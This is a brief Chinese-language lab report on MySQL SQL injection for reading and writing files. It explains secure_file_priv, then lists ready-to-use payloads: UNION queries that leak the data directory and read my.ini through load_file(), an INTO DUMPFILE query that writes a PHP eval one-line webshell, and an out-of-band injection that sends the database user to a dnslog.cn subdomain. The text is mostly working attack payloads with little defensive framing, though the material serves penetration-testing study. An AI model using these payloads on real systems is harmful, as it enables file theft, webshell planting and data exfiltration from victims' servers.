SQl注入之读写文件注入实验报告
读写文件受到权限影响
secure_file_priv= 代表文件读写没有限制
secure_file_priv=NULL 代表没有读写文件权限
secure_file_priv= d:/phpstudy/mysql/aa 代表只能对该路径下文件进行读写
这个权限在数据库配置文件my.ini里,默认是没有的
读文件
load_file()
写文件
into outfile
into dumpfile 写二进制文件使用
实验1读文件
首先在my.ini里添加secure_file_priv=
然后用用@@datadir 爆出mysql路径
?id=-1 union select 1,@@datadir,3
有了路径就可以读以my.ini文件试试
?id=-1union select 1,load_file("D:\\php\\PHPTutorial\\MySQL\\my.ini"),3
实验二写文件
知道了路径之后可以写一些一句话木马类的文件到网站目录下
?id=-1 union select "","<?php @eval($_REQUEST(666)?>","" into dumpfile"d:\\1.txt" --
实验三外带注入
先到dnslog.cn网站get一下
拿到
然后
?id=1' and load_file(concat("\\\\",hex(user()),".7iva9u.dnslog.cn\\xxx.txt")) -- -
加上16进制拿用户名
拿到16进制后的去找个网站转换一下